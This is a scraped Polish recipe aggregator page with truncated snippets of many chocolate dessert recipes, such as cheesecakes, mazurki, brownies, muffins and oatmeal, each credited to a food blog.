płaskie łyżeczki proszku do pieczenia 3 jajka mała szczypta soli 2 łyżki wody 2 łyżki ciemnego kakao 4 łyżki „Naturalnie owocowe” Owoce leśne Stovit 60 g czekolady mlecznej 250 g margaryny 1 szklanka cukru Przygotowanie: W garnuszka z grubszym dnem topimy (na małym ogniu) margarynę, dodajemy połamaną czekoladę, cukier i kakao. Mieszamy aż powstanie nam jednolita czekoladowa masa

Słodkie okruszki
Sernik Oreo 129

sera na serniki z wiadereczka (Piątnica lub President) 4 jajka 400 g mleka skondensowanego słodzonego 2 łyżki mąki ziemniaczanej 2 łyżki mąki pszennej łyżeczka ekstraktu waniliowego 1 czekolada deserowa 40 ml śmietanki 30% 16 ciasteczek Oreo  Wszystkie składniki powinny być w temperaturze pokojowej.  Do misy miksera przekładamy wszystkie składniki, krótko miksujemy, tylko do połączenia. 12 ciasteczek grubo łamiemy(...)temp. 150 stopni (góra-dół) 60 minut. Uchylamy drzwiczki piekarnika i studzimy w nim sernik. Po ostudzeniu wkładamy do lodówki na całą noc. Polewa: W kąpieli wodnej podgrzewamy połamaną czekoladę i śmietankę. Polewamy sernik, posypujemy pozostałymi ciasteczkami. Chłodzimy

Smakołyki Asi
Owsianka pomarańczowo-czekoladowa 171

Składniki na 1 porcję: 1/3 szklanki płatków owsianych 2/3 szklanki wody kokosowej 1 pomarańcza 3 kostki czekolady gorzkiej 1 łyżeczka proszku maca Płatki owsiane ugotować w wodzie kokosowej. Z połówki pomarańczy zetrzeć skórkę oraz wycisnąć sok, dodać do owsianki. Gotową owsiankę wymieszać z proszkiem maca, pokrojoną czekoladą oraz kawałkami drugiej części pomarańczy

Moja Galeria Smaku
Ciasto czekoladowe z cukinią 101

łyżeczka aromatu pomarańczowego - 0,5 łyżeczki soli - 1 jajka - 0,5 szklanki śmietany 18% - 2 szklanki mąki pszennej - 1 cukinia (2 szklanki startej na grubych oczkach) - 60 g gorzkiej czekolady - 2 łyżki oleju - 2 łyżki bułki tartej - 2 łyżki cukru pudru - kilka listków mięty(...)Masło miksujemy z olejem, cały czas miksując dodajemy cukier, cukier wanilinowy, sodę, proszek do pieczenia, aromat pomarańczowy, sól, miksujemy, jajka, śmietanę, mąkę, cukinię i posiekaną czekoladę. Tortownicę smarujemy olejem, posypujemy bułką tartą, wylewamy ciasto, pieczemy 60 minut w piekarniku nagrzanym do 160 stopni. Odstawiamy do ostygnięcia, posypujemy cukrem pudrem, dekorujemy listkami mięty. Jest mocno kakaowe :) Inspired by: www.mojewypieki.com/post/ciasto-czekoladowe-z-cukinia

Gocha gotuje!
Pierogi drożdżowe ze śliwkami i czekoladą 100

szklanki mąki pszennej ∙ 30 g świeżych drożdży ∙ 1 szklanka + 2 łyżki mleka ∙ 1 łyżeczka soli ∙ 18,5 łyżeczki cukru ∙ 2 łyżki oleju ∙ 36 dojrzałych śliwek ∙ 18 kostek mlecznej czekolady ∙ cukier puder do posypania Sposób przygotowania: Ze śliwek usuwamy pestki. Drożdże zalewamy ciepłym mlekiem, dodajemy sól i 0,5 łyżeczki cukru, czekamy aż wyrosną. Do mąki dodajemy olej i drożdże(...)ciasto, odstawiamy na pół godziny. Ciasto wałkujemy na grubość 0,5 cm, wykrawamy krążki, nakładamy śliwkę, do dziurki po pestce wsypujemy 0,5 łyżeczki cukru, wkładamy 0,5 kostki czekolady, zalepiamy. Pierogi układamy na papierze do pieczenia, smarujemy mlekiem, wstawiamy na 20 minut do piekarnika nagrzanego do 180 stopni. Przestudzone posypujemy cukrem pudrem. Smacznego

Gocha gotuje!
Mazurek czekoladowo-kawowy (na lekko migdałowym spodzie) 126

Polecam! (Forma o wymiarach około 14 x 26 cm)  Ciasto: 200g mąki pszennej  50 g mąki migdałowej 50g cukru pudru 150g masła (zimnego) 1 jajko Masa/krem: 250g czekolady mlecznej 20g masła 200 ml śmietanki 30-36% 1-2 łyżki kawy (u mnie o smaku Adwokat - Tommy Cafe ) Moja dekoracja: ziarna kawy płatki migdałowe ( Helio ) skórka pomarańczowa ozdoby cukrowe(...)rozgrzanym piekarniku. Piec 20-25 minut - do zarumienienia się - w 180-190 stopniach. (Posiadam piekarnik gazowy.) Przygotować masę/krem. Kremówkę podgrzać w niewielkim rondelku, a następnie dodać kawałki czekolady oraz masło. Całość podgrzewać i mieszać do uzyskania jednolitej konsystencji. Na końcu masę połączyć z kawą i pozostawić do ostudzenia. Krem schłodzić w lodówce do momentu, aż lekko zgęstnieje i przelać

Di gotuje
Wielkanocne muffinki czekoladowe 168

Ilość porcji: 12 Składniki: Na babeczki: 250g mąki pszennej 230ml mleka 180g cukru 110ml oleju rzepakowego lub słonecznikowego 30g kakao 2 jajka Łyżeczka proszku do pieczenia Dodatki: Tabliczka gorzkiej czekolady Łyżka masła Czekoladowe jajeczka Do miski wsypujemy suche składniki: mąkę, cukier, kakao i proszek do pieczenia. Składniki mieszamy. W drugiej misce umieszczamy składniki mokre: olej, mleko i jajka. Zawartość(...)misek łączymy i krótko mieszamy szpatułką. Formę do muffinek wykładamy papilotkami i nakładamy ciasto. Pieczemy w temperaturze 200 stopni przez 20 minut. Wyjmujemy i studzimy. Czekoladę topimy w kąpieli wodnej lub mikrofali pod koniec dodając masło. Nakładamy na babeczki i dekorujemy jajkami. Smacznego

Kolizje Smaków
Mazurek orzechowo - kajmakowy z bakaliami 162

cukier z prawdziwą wanilią 20 gramów suszonej żurawiny 20 gramów suszonych rodzynek 1 kieliszek spirytusu Składniki na dekorację: 1/2 puszki masy kajmakowej 200 ml śmietany kremówki 200 gramów gorzkiej czekolady lukier czekoladowy zielona masa cukrowa do zdobienia cukierki w kształcie jajek Wykonanie mazurka: Podane składniki utrzyj w misce na gładką, białą masę. Zmiel orzechy w maszynce lub utrzyj(...)ładnie się zarumieni. Wyjmij ciasto z piekarnika, wystudź na blaszce. Wykonanie dekoracji: Wlej do garnuszka śmietanę, doprowadź ją do wrzenia i następnie zdejmij z palnika, dodaj do niej kostki czekolady i mieszaj do jej całkowitego rozpuszczenia. Powstały krem włóż do lodówki do zgęstnienia. Przełóż krem do rękawa piekarniczego, końcówką do ozdabiania wykonaj kwiatki - udekoruj nimi brzegi mazurka. Resztę kremu zostaw

Garniec Magalie
Sernik pieczony z mascarpone i masłem orzechowym 201

masła orzechowego 100 g masła 250 g śmietany 18% 250 g cukru  30 g mąki ziemniaczanej 500 g serka mascarpone 4 jajka 200 g kremówki 50 g gorzkiej czekolady 50 g niesolonych orzechów ziemnych Sposób przygotowania: Ciastka kruszymy w blenderze, masło rozpuszczamy. Następnie rozpuszczone wlewamy do pokruszonych ciastek. Na ile nam się uda, łaczymy składniki i przekładamy do foremki(...)wody ( należy zwrócić uwagę na to, aby woda nie wlała się pod formę - ja mam z odpinanym dnem). Polewa kajmakowa i czekoladowa 80 g kremówki podgrzewamy w garnku. Czekoladę łamiemy na małe kosteczki i wrzucamy do kremówki. Mieszamy aby powstał, gładki sos. Przelewamy do małej miseczki. 50 g cukru karmelizujemy w garnuszku (czekamy do momentu,aż cukier się rozpuści, uważajcie

Różne smaki w kuchni
Sezamowe babeczki – przepis na Wielkanoc! 196

ryżowej (lub 140 g innej mąki) 1 łyżeczka proszku do pieczenia 150 g masła 5 jajek (6 małych) 100 g cukru 3 łyżeczki soku z cytryny Polewa: 50 g czekolady (gorzkiej lub mlecznej na ciemną polewę i białej na jasną polewę) 1 łyżeczka masła 2 łyżeczki śmietanki 30% Dodatkowo czekolada do środka babeczek oraz rodzynki lub inne bakalie. Sposób przygotowania

Via Gusto
Tarta maślano-czekoladowa 141

masła 60 g cukru 1 łyżka cukru waniliowego  cytrynowego 1 jajko Szczypta soli Nadzienie : 330 ml śmietanki 30% 25 dag  sera mascarpone Mlekoma 3  tabliczki gorzkiej czekolady 60% kakao 1 płaska łyżeczka prawdziwej kawy ½ szklanki cukru pudru Dodatkowo: Zielona sól hawajska do posypania-niekoniecznie Garść świeżych kwiatów fiołka Sposób przygotowania tarty: Ciasto: Wszystkie składniki ciasta zagniatamy razem(...)spód na złocisto. Wystudzić. Masa: Śmietankę wlewamy do rondla, podgrzewamy ale nie gotujemy, dodajemy serek oraz cukier puder, mieszamy do rozpuszczenia. Do ciepłej masy dodać połamaną na kawałki gorzką czekoladę, mieszać do uzyskania jednolitej masy.  Gdyby nadal były grudki należy całość zmiksować blenderem na puszysto. Wylać na kruchy spód, wyrównać łyżką. Włożyć do lodówki na czas aż masa zastygnie

Wanilia i Kardamon
CIASTECZKA ORZECHOWO-KOKOSOWE Z CZEKOLADĄ 164

sztuk: 90 g mąki migdałowej lub 90 g migdałów 2 czubate łyżki mąki pełnoziarnistej (ok. 40 g) 7 płaskich łyżek wiórków kokosowych (ok. 40 g) 70 g gorzkiej czekolady (zawartość kakao 70%) 2 łyżki nasion słonecznika (ok. 20 g) 5 łyżek ksylitolu (cukru brzozowego) (ok. 50 g) 3 łyżki oleju kokosowego (ok. 30 g) 1 jajko rozmiar M 1 łyżka(...)pyłek. 1. W misce roztarłam łyżką olej z mąkami, sodą i ksylitolem. Dodałam jajko, łyżkę wody, wiórki i nasiona słonecznika. Dokładnie połączyłam rozcierając łyżką. Ciasto jest bardzo kruche. 2. Czekoladę pokroiłam w kosteczkę i wymieszałam delikatnie z resztą. 3. Dłońmi formowałam małe w ciasteczka i od razu układałam na blaszce. 4. Ciasteczka włożyłam do nagrzanego piekarnika i piekłam

Vroblewska-fitlife
Ciasto z masą czekoladową i masłem orzechowym | bez glutenu /laktozy /cukru | 176

trzcinowego/kokosowego lub ksylitolu 1 łyżeczka proszku do pieczenia Szczypta soli himalajskiej Fit masa do ciasta: 1 puszka mleczka kokosowego w stanie stałym 4 łyżki masła orzechowego 1/2 tabliczki gorzkiej czekolady min. 70% kakao 2 łyżki cukru kokosowego/trzcinowego lub ksylitolu Dodatkowo: orzechy lub suszone owoce Przygotowanie: Białka oddzielamy od żółtek. Białka ubijamy na sztywno z solą himalajską. Dodajemy stopniowo cukier(...)obsypanej mąką i pieczemy ok. 25 min lub do tzw. suchego patyczka. Studzimy najlepiej przez dobę i kroimy na pół. Mleczko kokosowe ubijamy z cukrem. Masło orzechowe i czekoladę rozpuszczamy i dodajemy do masy. Ponownie miksujemy. Przekładamy jeden biszkopt masą. Nakładamy drugi i ponownie nakładamy masę. Dekorujemy orzechami lub suszonymi owocami (u mnie pokrojone suszone śliwki

Czarnawisienka
Sernik Pascha na Wielkanoc i nie tylko 157

żółtka – 1 laska wanilii – 1 łyżka skórki pomarańczowej (1 pomarańcza) – kilka kropel aromatu cytrynowego Dodatkowo na polewę: – 10 łyżek mleka – 60g gorzkiej czekolady Migdały i rodzynki umieszczamy w osobnych kubkach i zalewamy wrzątkiem. Po 10 minutach je odcedzamy. Migdały obieramy ze skórki. Żółtka i ksylitol ucieramy w misce na biało. Ciągle mieszając dodajemy śmietankę(...)porządnie mieszamy. Uzyskaną masę wylewamy na formę o średnicy 21cm wyłożoną folią spożywczą i wkładamy do lodówki. W tym czasie zabieramy się za robienie polewy. W kąpieli wodnej roztapiamy czekoladę z mlekiem. Ciepłą, nie gorącą polewę wylewamy na wierzch sernika i ponownie wkładamy do lodówki, by zastygła. Smacznego! Artykuł Sernik Pascha na Wielkanoc i nie tylko pochodzi z serwisu Just

Be Fit Be Strong
Bardzo czekoladowe brownie z czekoladą 156

Piękne i pyszne ciasto mega czekoladowe dla wszystkich wielbicieli czekolady. Tutaj jest jej dużo i dzięki temu jest obłędne w smaku, polecam gorąco. Robi się szybko i znika szybko przy kubku koniecznie gorzkiej kawy czy herbaty, polecam. Bardzo czekoladowe brownie z czekoladą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Dwukolorowa babka jogurtowa z polewą czekoladową 162

wiórków kokosowych 3 jajka 2 łyżki kakao 2 łyżeczki proszku do pieczenia ½ łyżeczki sody oczyszczonej 2 łyżki soku z cytryn Skórka otarta z dwóch cytryn Na polewę: 100g gorzkiej czekolady (tabliczka) Łyżka masła Wiórki kokosowe do obsypania Wszystkie składniki powinny być w temperaturze pokojowej. Do miseczki przesiewamy mąkę, proszek do pieczenia oraz sodę. Odstawiamy na bok. W drugiej misce ucieramy(...)Wstawiamy do piekarnika nagrzanego na 160 stopni na 15 minut. Później zwiększamy temperaturę do 180 i pieczemy jeszcze 35 minut do tzw. suchego patyczka. Wyjmujemy i zostawiamy do ostygnięcia. Czekoladę topimy w kąpieli wodnej na końcu dodając masło. Polewamy babkę i obsypujemy wiórkami kokosowymi. Smacznego

Kolizje Smaków
Mazurek przekładany 202

błyskawicznego) 200 g masła (1 kostka) 1 szklanka cukru pudru 3 łyżeczki cukru waniliowego kieliszek rumu lub żubrówki Dekoracja: 100 g migdałów 10 sztuk migdałów blanszowanych 3 kostki gorzkiej czekolady Przygotowanie: Ciasto: Wszystkie składniki na ciasto wyrobić i podzielić całość na 2 równe kawałki. Każdy kawałek ciasta rozwałkować i przełożyć do formy (rozmiar 22 cm x 32 cm) wyłożonej papierem(...)cienkie spody 5. Ugotować grysik 6. Utrzeć masło 7. Do masła dodać zimny grysik i alkohol 8. Przełożyć ciasto masą 9. Udekorować ciasto migdałami i czekoladą Pobierz wersję do druku: Pobierz Mazurek przekładany Artykuł Mazurek przekładany pochodzi z serwisu KuchniaWeDwoje.pl

KuchniaWeDwoje.pl
Kopiec kreta 152

Mąka Basia) 1 łyżeczka proszku do pieczenia Masa: 500 ml śmietanki 30 lub 36% (u mnie Łowicka 36%) 250 g mascarpone 2 łyżki cukru pudru 2 śmietan fixy gorzka czekolada (dałam Wedel) dodatkowo: 3 banany sok z cytryny lub limonki Masło, wodę, cukier i kakao wkładamy do rondelka. Wszystko rozpuszczamy i gotujemy na małym ogniu przez 5 minut. Dokładnie studzimy(...)cytryny aby nie zciemniały. Układamy w środku ciasta przekrojoną częścią do dołu. Śmietanę ubijamy na sztywno ze śmietan fixem. Pod koniec dodajemy cukier puder a następnie stopniowo mascarpone. Czekoladę ścieramy na wiórki. Dodajemy do masy i delikatnie mieszamy. Gotową wykładamy na banany tworząc kopiec. Wierzch obsypujemy pokruszonym ciastem. Ciasto wstawiamy na ok 2 godziny do lodówki. Po tym czasie możemy

Fascynacje Ani
Zdrowe ciasto banoffee z kokosową bitą śmietaną 206

Wymieszać. Tortownicę o średnicy 18 cm wyłożyć papierem do pieczenia. Wysypać masę, dokładnie rozprowadzić i docisnąć do dna. Schłodzić w zamrażarce na czas przygotowania masy. Masa: 1 tabliczka gorzkiej czekolady 1/2 szklanki mleka 3 średnie banany 400 g mleczka kokosowego schłodzonego całą noc w lodówce 1 łyżka erytrolu zmielonego na puder 2 łyżeczki żelatyny + woda do przykrycia  Czekoladę

Chocolate Muffin Blog
Ciasteczka cytrynowo – czekoladowe 152

ciasto rano, przed pracą, a po powrocie piekłam ciasteczka. To rozwiązanie okazało się dla mnie naprawdę bardzo korzystne. Wyszły bardzo smaczne. Składniki na około 60 sztuk: – 100g białej czekolady – 120 g masła – 120 g cukru – 2 jajka – skórka otarta z jednej cytryny + sok z połowy cytryny (dodałam sok z całej cytryny) – 360 g mąki(...)łyżeczka proszku do pieczenia – szczypta soli – 1 łyżka cukru pudru do obtoczenia Masło rozpuszczamy na najmniejszym gazie. Do rozpuszczonego dodajemy czekoladę, mieszamy do momentu jej rozpuszczenia i odkładamy do lekkiego schłodzenia. W tym czasie ubijamy jajka z cukrem i solą na jasną i puszysta masę. Ubijałam około 5 minut. Do masy dodajemy skórkę i sok z cytryny, znów

Relaxtime
Śniadanie na sobotę #30 111

jestem zwolenniczką wszelkich płatków, granoli, bakalii, etc. Nie ma dnia, w którym nie jadłabym czegoś w tym stylu. Poniżej moje kolejne odkrycie: słodka za sprawą daktyli, krówek i białej czekolady mieszanka, przełamana cierpkością owoców goji. Z chrupiącymi ziarnami dyni i migdałów. Polecam :-) Muesli Składniki (1 duży słoik) 500 g mieszanki ulubionych płatków opakowanie jagód goji (70 g) 100 g migdałów(...)garść siemienia lnianego 100 g pestek dyni 150 g suszonych daktyli, pokrojonych na kawałki 100 g groszków z białej czekolady 75 g surowego ziarna kakao 50 g mini krówek * Wymieszać, przesypać do słoika. Gotowe :-) * te krówki wyglądają

Słodkie inspiracje
Salted Chocolate Chunk Cookies 141

cukru białego 1 duże jajko łyżeczka ekstraktu z wanilii łyżeczka proszku do pieczenia duża szczypta soli 125 g mąki pszennej 90 g mąki pszennej razowej 125 g posiekanej czekolady (u mnie gorzka i mleczna, pół na pół) Masło ubić z cukrem i cukrem trzcinowym. Dodać jajko, zmiksować. Dodać ekstrakt z wanilii, proszek, sól, oba rodzaje mąki i zmiksować. Wmieszać czekoladę

Słodkie inspiracje
Tort Krówka 197

schłodzonej śmietany 36% 250 g mascarpone łyżka cukru pudru Śmietankę ubić na sztywno, dodać mascarpone i cukier, zmiksować. Ponadto puszka masy krówkowej 10 krakersów, pokruszonych tabliczka gorzkiej czekolady, startej na tartce Biszkopt przekroić na pół. Ułożyć w tortownicy, wyłożonej papierem do pieczenia i zapiąć obręcz. Nasączyć połową przygotowanego ponczu. Wyłożyć masę budyniową na środek i rozsmarować, posypać pokruszonymi krakersami. Włożyć(...)połową biszkoptu i go nasączyć. Schłodzić w lodówce przez 2 h. Następnie wyjąć tort z tortownicy, ułożyć na paterze i posmarować z wierzchu i boków masą śmietanową. Posypać startą czekoladą i ponownie schłodzić w lodówce (najlepiej przez całą

Słodkie inspiracje
Sernik borówkowy z białą czekoladą 114

formy i schłodzić w lodówce. Masa serowa 2 jajka pół szklanki cukru łyżka cukru z wanilią 500 g tłustego serka 150 g borówek, zmiksowanych łyżka mąki ziemniaczanej tabliczka białej czekolady borówki do dekoracji Jajka ubić z cukrem i cukrem z wanilią. Dodać serek, borówki, mąkę i zmiksować. Wylać na przygotowany spód. Piec w 180 st. C przez(...)wystudzeniu polać rozpuszczoną w kąpieli wodnej czekoladą i udekorować borówkami

Słodkie inspiracje
Brownies speculoos 145

pierwszy wypiek, do którego wykorzystałam przygotowany wczoraj krem speculoos. Ciasto piekłam wieczorem, dziś rano zdążyłam zrobić zdjęcia i już wszystko zjedliśmy (we dwójkę ;)). Polecam! Składniki 200 g gorzkiej czekolady 70% 200 g masła 3 jajka 120 g drobnego cukru 120 g mąki kilka łyżek kremu speculoos odrobina mleka Blaszkę o wymiarach 20x20 cm wyłożyć papierem do pieczenia. Piekarnik nagrzać(...)Roztopić czekoladę z masłem (nie podgrzewać zbyt długo), ostudzić. Jajka ubić na puszystą pianę razem z cukrem (około 10 minut), następnie wymieszać z ostudzoną masą czekoladową. Na koniec delikatnie połączyć z przesianą mąką. Masę wylać do przygotowanej blaszki. Krem wymieszać z mlekiem, aby był bardziej płynny, wylać na wierzch ciasta i zrobić za pomocą patyczka do szaszłyków "esy-floresy" ;) Piec

Słodkie inspiracje
Blondies z batonikami Twix i sosem toffiee 103

tego stopnia, że mam już kilka pomysłów na kolejne wersje. Żałuję tylko, że zrobiłam je w tak małej ilości - spokojnie możecie podwoić ilość składników. Składniki Ciasto 100 g białej czekolady 125 g masła 2 duże jajka 50 g cukru z wanilią 75 g mąki pszennej 4 batoniki Twix Czekoladę połamać na kawałki, włożyć do garnuszka razem z masłem i rozpuścić

Słodkie inspiracje
Babeczki-murzynki czekoladowo-kokosowe 107

wody 2 duże jajka 100 g mąki pszennej 50 g wiórków kokosowych szczypta soli 1 płaska łyżeczka proszku do pieczenia 30 ml czerwonego wina tabliczka gorzkiej czekolady płatki kokosa do posypania Masło, cukier, cukier z wanilią, kakao i wodę zagotować. Przestudzić. Do chłodnej masy wbić żółtka, wsypać mąkę z wiórkami, proszkiem do pieczenia, wlać wino i wymieszać. Białka ubić(...)ciasta i wymieszać delikatnie, ale dokładnie. Ciastem napełniać foremki do muffinek do 3/4 wysokości. Piec w piekarniku nagrzanym do 180 st. C przez 20 min. Po wystudzeniu polać rozpuszczoną czekoladą i posypać płatkami kokosa

Słodkie inspiracje
Dietetyczny sernik o smaku białej czekolady z malinami 183

Zapraszam na pyszny, lekki sernik o smaku białej czekolady. Smak tak naprawdę zależy od użytej odżywki białkowej. Często pytacie czy można ją zastąpić lub pominąć. W tym przepisie zalecałabym jednak, aby z niej nie zrezygnować. Ciasto jest naprawdę cudowne, smakuje jak z najlepszej cukierni :)   Spód : 1 szklanka płatków owsianych 2 łyżki otrębów owsianych 2 łyżeczki kakao 2 płaskie(...)Schłodzić na czas przygotowania masy. Masa : 2 opakowania serka kremowego np Mój Ulubiony, ok 400 g 1 opakowanie serka homogenizowanego, 200 g 2 miarki odżywki białkowej o smaku białej czekolady, 60 g 1 i 1/2 łyżeczki żelatyny 1 łyżka miodu 1 szklanka świeżych malin  Serki zmiksować z odżywką i miodem. Żelatynę zalać wodą do pokrycia, gdy napęcznieje rozpuścić

Chocolate Muffin Blog
Czekoladowy krem z pęczakiem i gorącymi śliwkami 106

słońcem!  Składniki: -50g kaszy pęczak -duża łyżka ricotty -łyżeczka kakao -ok. 100g śliwek (mrożonych lub świeżych) -4 łyżki mleka -słodzik (u mnie stewia)  -kostka gorzkiej czekolady Wykonanie: Kaszę gotujemy według przepisu na opakowaniu. W tym czasie rozmrożone lub świeże śliwki kroimy w kosteczkę, wrzucamy na patelnię, podlewamy odrobiną wody, przykrywamy pokrywką i dusimy(...)jakiś czas mieszając. Gdy kasza wchłonie wodę (nadmiar odlać) dodajemy mleko, ricottę, słodzik i kakao. Dokładnie mieszamy. Do garnka przekładamy śliwki, dodajemy pokruszoną czekoladę, a następnie całość przelewamy do miseczki. Gotowe! Całość zawiera ok. 370 kcal. Smacznego

Gawron w rosole
Gofry czekoladowe chrupiące 187

masła 210 g pszennej mąki 1 łyżeczka proszku do pieczenia 40 g skrobii kukurydzianej 30 g kakao 60 g cukru 375 ml serwatki ½ łyżeczki soli Czekoladowa polewa 50 g czekolady 2 łyżki śmietanki 4 łyżki golden syropu Dodatkowo waniliowe lody maliny Miękkie masło zmiksuj z cukrem i solą na puszysto. Dodaj żółtka i zmiksuj masę. Wlej serwatkę, wsyp mąkę przesianą(...)Ostygnięte gofry powinny być sztywne i chrupiące. Studź gofry na metalowej kratce. Nie układaj jeden na drugi, bo wtedy dobrze nie odparują i będą gumowe. W kąpieli wodnej wymieszaj czekoladę ze śmietanką i syropem. Wlej polewę do miseczki. Podaj ostudzone gofry z lodami i owocami polane czekoladowym sosem.     The post Gofry czekoladowe chrupiące appeared first on Blog kulinarny

codojedzenia
Owsianka makowa :) 167

waniliowego (Polski Koszyk) 1 łyżeczka ksylitolu  1 łyżeczka masła orzechowego  1 łyżka rodzynek (Polski Koszyk) garść mrożonych/świeżych malin  1 łyżka migdałów (Polski Koszyk) kostka surowej czekolady o smaku cappucino (Polski Koszyk) Przygotowanie: Do rondelka wlej mleko, wsyp płatki owsiane, dodaj mak, aromat waniliowy, masło orzechowe, ksylitol oraz rodzynki. Wymieszaj i gotuj do momentu uzyskania półgęstej konsystencji(...)Gotową owsiankę przełóż do miseczki, dodaj owoce, migdały i kostkę czekolady

Zdrowie na języku :P
Muffinki czekoladowe 139

masła 150 g cukru trzcinowego muscavado 80 ml śmietanki kremowej 30% lub 36% 80 ml jogurtu naturalnego 2 średnie lub duże jajka kropelki czekoladowe lub zamiennie posiekana czekolada Sposób przygotowania: Piekarnik nagrzać do 180 stopni. Przygotować formę na muffiny i wyłożyć je papilotkami lub kartonową obrączką. Do większej miski przesiać mąkę, proszek do pieczenia i kakao. Wymieszać z solą oraz(...)jednolitą masę, nie ubijać. Dodać szklankę czekoladowych kropelek. Połączyć obydwie masy, delikatnie i krótko mieszając łyżką. Rozłożyć ją po równo w każdą papierową papilotkę. Posypać kropelkami czekoladowymi lub posikaną czekoladą. Wstawić do nagrzanego piekarnika i piec przez około 22 - 25 minut do tzw. „suchego patyczka”. Babeczki wyjąć z formy i ułożyć na metalowej kratce do wystudzenia

Pyry na Gaz
Babka bananowa. Z budyniem. Czekoladowym 167

pieczenia 2 jajka 150 g cukru trzcinowego 100 ml oleju rzepakowego 60 ml jogurtu naturalnego dodatkowo: 42 g budyniu czekoladowego (proszek) 350 ml mleka polewa: 70 g ciemnej czekolady (57%) 40 g masła suszone banany 300 ml mleka zagotować. W pozostałym mleku rozmieszać budyń, wlać do gotującego się mleka. Gotować jeszcze chwilę, cały czas mieszając. Ostudzić. Banany zmiksować blenderem(...)Piec w 170 st. C. przez 1 godzinę. Przestudzić w formie przez 15 minut, następnie wyłożyć na kratkę do góry spodem i zostawić do całkowitego ostudzenia. Masło rozpuścić z czekoladą w garnuszku na małej mocy palnika. Polać ciasto, udekorować plasterkami suszonych bananów. Smacznego! Jedyne zmiany w stosunku do oryginały to rodzaj mąki (nie miałam na stanie jęczmiennej) i smak budyniu

Pożeraczka, czyli raz adobrze
Fit ciasto kokosowe z polewą czekoladową 2180

dżemu bez cukru 2 łyżeczki kakao Masa: 2 opakowania serka homogenizowanego 1 miarka odzywki białkowej o smaku kokosowym 1 szklanka wiórków kokosowych 2 łyżki mąki kokosowej Polewa: 1/2 tabliczki czekolady gorzkiej 3 łyżki mleka Składniki na spód umieścić w misce (olej i miód rozpuścić), wymieszać na gładką masę. Tortownicę o śr 18 cm wyłożyć papierem do pieczenia. Masę na spód(...)ugnieść dnem szklanki. Schłodzić. Serek wymieszać z odżywką. Dodać wiórki i mąkę kokosową. Masę przełożyć na spod i wyrównać. Będzie gesta, ale taka ma być. Ponownie umieścić w lodowce. Czekoladę zalać mlekiem. Podgrzać i wymieszać do rozpuszczenia. Połać ciasto i schłodzić całą noc.  Smacznego

Chocolate Muffin Blog
Najlepsze miękkie czekoladki kokosowe bez cukru 150

cukru, masła i polepszaczy smaku! Nie ma co dużo pisać - będziecie zachwyceni :) 1 miarka odżywki białkowej o smaku kokosowym* 2 łyżki mąki kokosowej 2 łyżki mleka 5 kostek gorzkiej czekolady + 2 łyżki mleka Odżywkę, mleko i mąkę zagnieść łyżką. Uformować batoniki. Czekoladę zalać mlekiem, podgrzać aż do rozpuszczenia. Mieszać do powstania gładkiej masy. Czekoladki obtoczyć w polewie. Schłodzić.  *można

Chocolate Muffin Blog
Chrupiące czekoladki ryżowe 176

nich orzeszki, cynamon, a nawet powidła śliwkowe :)  Składniki: 3 wafle ryżowe 2 łyżeczki kakao 1 łyżeczka miodu (można więcej)   200g serka homogenizowanego Polewa: 4 kostki gorzkiej czekolady 3 łyżki mleka Wafle drobno pokruszyć, wymieszać z resztą składników. Uformować kuleczki. Po kilku godzinach w lodówce oblać polewą (czekoladę należy roztopić w gorącym mleku). Smacznego

Chocolate Muffin Blog
Tort bezowy z bitą śmietaną i mascarpone, wiśniami i polewą czekoladową (Tort Pavlova) 152

przełożenia oraz posmarowania na wierzchu: - 1 opakowanie serka mascarpone - 1 opakowania śmietanki 30% - 2 łyżki białego cukru dodatkowo: - wiśnie do przełożenia i wyłożenia na torcie - 1/2 tabliczki roztopionej czekolady do polania na wierzchu Przygotowuję bezę: Do s zklanej miski wbijam białka, dodaję szczyptę soli i zaczynam ubijanie. Kiedy białka połączą się ze sobą, stopniowo, małymi partiami dodaję cukier. Po koniec(...)gęsta i brzydko ścięta. Masa szybko jest gotowa. Na jeden krążek bezy wykładam 3/4 masy, na nią wiśnie, przykrywam drugim krążkiem, delikatnie smaruję pozostałą masą, wiśniami i polewam rozpuszczoną czekoladą.  Cudowny deser gotowy ;-) SMACZNEGO

Wielopokoleniowo
PIERNIK - CIASTO CZEKOLADOWE 156

szklanki mąki  - 1/2 kostki margaryny lub masła - 1 szklanka cukru - 2 jajka - Słoiczek dżemu - Przyprawa do pierników - 3 łyżeczki sody - 2 łyżeczki kakao - Szklanka mleka - 1 opakowanie czekolady PRZYGOTOWANIE : 1. Masło/Margarynę, cukier, jaja utrzeć 2. Mąkę, sodę, przyprawę do pierników, kakao wymieszać 3. Do utartej masy stopniowo dodawać suche składniki        ciągle mieszając ( mąka(...)wylać na blachę posmarowaną tłuszczem i posypaną tartą bułką 6.Piec w temperaturze 170 stopni Celsjusza dopóty, dopóki włożony patyczek nie będzie suchy 7. Po przestudzeniu oblać ciasto rozpuszczoną czekoladą ŻYCZĘ SMACZNEGO

cukrem pudrem posypane
Ciasteczka kokosowe z czekoladą 136

jajko 1 łyżeczka waniliowego ekstraktu 90 g cukru 100 g cze­ko­lady, u mnie biała i gorzka ½ łyżeczki sody oczysz­czo­nej Wsyp suche składniki do miski. Pokrój czekoladę grubo, dodaj do miski i wymieszaj. W drugiej misce zmiksuj masło z cukrem, wanilią i jajkiem. Dodaj suche składniki i wyrób ciasto za pomocą miksera lub łyżki. Owiń folią(...)dobrze ostygnąć. Na papierze pozostaje okrągły ślad… Lubicie wypiekać ciastka ? Ja bardzo! Na blogu znajdziecie mnóstwo przepisów. Ciasteczka kokosowe to przepis numer 51. The post Ciasteczka kokosowe z czekoladą appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Podwójnie czekoladowe mrożone serniczki z jadalnymi kwiatami i frużeliną pomarańczową 117

Więc jak już udało zwlec się z łóżka, to z tęsknoty za wiosną zrobiło mi się coś takiego: Składniki: 250 g twarogu 250 g jogurtu naturalnego 200 g czekolady 3-4 łyżeczki żelatyny 1 pomarańcza ½ opakowania galaretki pomarańczowej Kwiaty jadalne Przygotowanie: Czekoladę rozpuściłam kąpieli wodnej, a następnie zmiksowałam wraz z twarogiem i jogurtem. Żelatynę rozpuściłam w kilku łyżkach gorącej wody

Kate's Kitchen
Kostka piernikowa 215

